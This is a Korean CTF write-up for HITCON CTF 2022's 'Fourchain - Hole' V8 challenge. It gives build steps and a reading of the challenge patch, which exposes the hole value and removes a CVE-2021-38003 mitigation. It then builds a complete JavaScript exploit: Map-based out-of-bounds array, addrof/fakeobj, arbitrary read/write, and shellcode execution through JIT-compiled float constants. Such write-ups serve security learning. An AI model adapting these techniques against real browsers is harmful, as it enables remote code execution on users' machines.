https://ctf2022.hitcon.org/dashboard/#14
Release: https://github.com/h0meb0dy/CTF/raw/main/HITCON%20CTF%202022/Fourchain%20-%20Hole/hole.7z
Environment Setting
* Based on git commit hash: 63cb7fb817e60e5633fb622baf18c59da7a0a682
* args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
* It is recommended that you solve this challenge on a Debian Linux 11.5.0 machine.
# get challenge file
cd ~
mkdir chal
cd chal
wget https://github.com/h0meb0dy/CTF/raw/main/HITCON%20CTF%202022/Fourchain%20-%20Hole/hole.7z
# sudo apt install -y p7zip-full
7za x hole.7z
rm hole.7z
# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo 'export PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc
# get v8
cd ~
mkdir v8
cd v8
fetch v8
cd v8
git checkout 63cb7fb817e60e5633fb622baf18c59da7a0a682
gclient sync -D
git apply ~/chal/add_hole.patch
git apply ~/chal/d8_strip_global.patch
# build v8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'
ninja -C out/debug d8
./tools/dev/gm.py x64.release
# install gdb plugin
echo 'source ~/v8/v8/tools/gdbinit' >> ~/.gdbinit
Analysis
add_hole.patch
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 9040e95202..a77333287a 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtin::kArrayPrototypeFindIndex, 1, false);
SimpleInstallFunction(isolate_, proto, "lastIndexOf",
Builtin::kArrayPrototypeLastIndexOf, 1, false);
+ SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
0, false);
SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0e98586f7f..28a46f2856 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -413,6 +413,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel) \
+ CPP(ArrayHole) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */
Array
class에 hole()
method가 추가되었습니다.
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 6e0cd408e7..aafdfb8544 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}
+BUILTIN(ArrayHole){
+ uint32_t len = args.length();
+ if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
+ return ReadOnlyRoots(isolate).the_hole_value();
+}
+
namespace {
V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
Array.hole()
은 인자가 있을 경우 undefined
를 반환하고, 인자가 없을 경우 the_hole
을 반환합니다.
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 79bdfbddcf..c42ad4c789 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtin::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtin::kArrayHole:
+ return Type::Oddball();
// ArrayBuffer functions.
case Builtin::kArrayBufferIsView:
Turbofan의 Typer phase에서 Array.hole()
의 반환값의 type을 Oddball
로 추론합니다.
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index 78b0229011..55aaaa03df 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
"Map.prototype.delete");
// This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
Issue 1263462 (CVE-2021-38003)에서 사용된 hole exploit technique에 대한 mitigation이 제거되었습니다.
Exploit
https://h0meb0dy.me/entry/CVE-2021-38003-JSONstringify-leaks-TheHole-value-leading-to-RCE
https://h0meb0dy.me/entry/V8-Hole-Exploit-Chromium-1150579090
Helper functions
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
/* convert float to bigint */
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
/* convert bigint to float */
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
/* convert bigint to hex string */
function hex(i) {
return '0x' + i.toString(16);
}
Generate OOB array
let m;
let oob_arr;
function gen_oob() {
let hole = [].hole();
m = new Map();
m.set(1, 1); // avoid shrinkage
m.set(hole, 2);
m.delete(hole); // key and value are overwritten with hole
m.delete(hole); // m.size == 0
m.delete(1); // m.size == -1
m.set(0x15, -1);
oob_arr = [1.1];
m.set(0x1006, 0);
}
gen_oob();
% DebugPrint(oob_arr);
Implement addrof / fakeobj
let m;
let oob_arr;
let obj_arr;
function gen_oob() {
let hole = [].hole();
m = new Map();
m.set(1, 1); // avoid shrinkage
m.set(hole, 2);
m.delete(hole); // key and value are overwritten with hole
m.delete(hole); // m.size == 0
m.delete(1); // m.size == -1
m.set(0x15, -1);
oob_arr = [1.1];
m.set(0x1006, 0);
obj_arr = [{}];
}
gen_oob();
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
/* addrof test */
let tmp_obj = {};
console.log(hex(addrof(tmp_obj)));
% DebugPrint(tmp_obj);
function fakeobj(addr) {
let leak = ftoi(oob_arr[4]);
leak &= 0xffffffffn << 32n;
leak |= addr;
oob_arr[4] = itof(leak);
return obj_arr[0];
}
/* fakeobj test */
let tmp_obj = {};
let tmp_obj_addr = addrof(tmp_obj);
console.log(hex(tmp_obj_addr));
% DebugPrint(fakeobj(tmp_obj_addr - 0x20n));
Implement AAR / AAW
function aar(addr) {
let fake_arr_struct = [1.1, 2.2];
fake_arr_struct[0] = oob_arr[1]; // map | properties
fake_arr_struct[1] = itof(2n << 32n | (addr - 8n)); // elements | length
let fake_arr_addr = addrof(fake_arr_struct) - 0x10n;
let fake_arr = fakeobj(fake_arr_addr);
return ftoi(fake_arr[0]);
}
/* aar test */
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(tmp_arr);
let value = aar(tmp_arr_addr - 8n);
console.log(hex(value));
function aaw(addr, value) {
let fake_arr_struct = [1.1, 2.2];
fake_arr_struct[0] = oob_arr[1]; // map | properties
fake_arr_struct[1] = itof(2n << 32n | (addr - 8n)); // elements | length
let fake_arr_addr = addrof(fake_arr_struct) - 0x10n;
let fake_arr = fakeobj(fake_arr_addr);
fake_arr[0] = itof(value);
}
/* aaw test */
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(tmp_arr);
aaw(tmp_arr_addr - 8n, ftoi(2.2));
console.log(tmp_arr[0]);
Execute shellcode
function sc() {
return [1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x100000; i++) { sc(); } // turbofan optimization
let code = aar(addrof(sc) + 0x18n) & 0xffffffffn; // CodeDataContainer of sc()
let inst = aar(code + 0xcn); // instruction pointer of sc()
aaw(code + 0xcn, inst + 0x60n); // overwrite instruction pointer of sc() with address of real shellcode
sc(); // execute shellcode
Full exploit
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
/* convert float to bigint */
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
/* convert bigint to float */
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
/* convert bigint to hex string */
function hex(i) {
return '0x' + i.toString(16);
}
function sc() {
return [1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x100000; i++) { sc(); } // turbofan optimization
let m;
let oob_arr;
let obj_arr;
function gen_oob() {
let hole = [].hole();
m = new Map();
m.set(1, 1); // avoid shrinkage
m.set(hole, 2);
m.delete(hole); // key and value are overwritten with hole
m.delete(hole); // m.size == 0
m.delete(1); // m.size == -1
m.set(0x15, -1);
oob_arr = [1.1];
m.set(0x1006, 0);
obj_arr = [{}];
}
gen_oob();
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
function fakeobj(addr) {
let leak = ftoi(oob_arr[4]);
leak &= 0xffffffffn << 32n;
leak |= addr;
oob_arr[4] = itof(leak);
return obj_arr[0];
}
function aar(addr) {
let fake_arr_struct = [1.1, 2.2];
fake_arr_struct[0] = oob_arr[1]; // map | properties
fake_arr_struct[1] = itof(2n << 32n | (addr - 8n)); // elements | length
let fake_arr_addr = addrof(fake_arr_struct) - 0x10n;
let fake_arr = fakeobj(fake_arr_addr);
return ftoi(fake_arr[0]);
}
function aaw(addr, value) {
let fake_arr_struct = [1.1, 2.2];
fake_arr_struct[0] = oob_arr[1]; // map | properties
fake_arr_struct[1] = itof(2n << 32n | (addr - 8n)); // elements | length
let fake_arr_addr = addrof(fake_arr_struct) - 0x10n;
let fake_arr = fakeobj(fake_arr_addr);
fake_arr[0] = itof(value);
}
let code = aar(addrof(sc) + 0x18n) & 0xffffffffn; // CodeDataContainer of sc()
let inst = aar(code + 0xcn); // instruction pointer of sc()
aaw(code + 0xcn, inst + 0x60n); // overwrite instruction pointer of sc() with address of real shellcode
sc(); // execute shellcode
728x90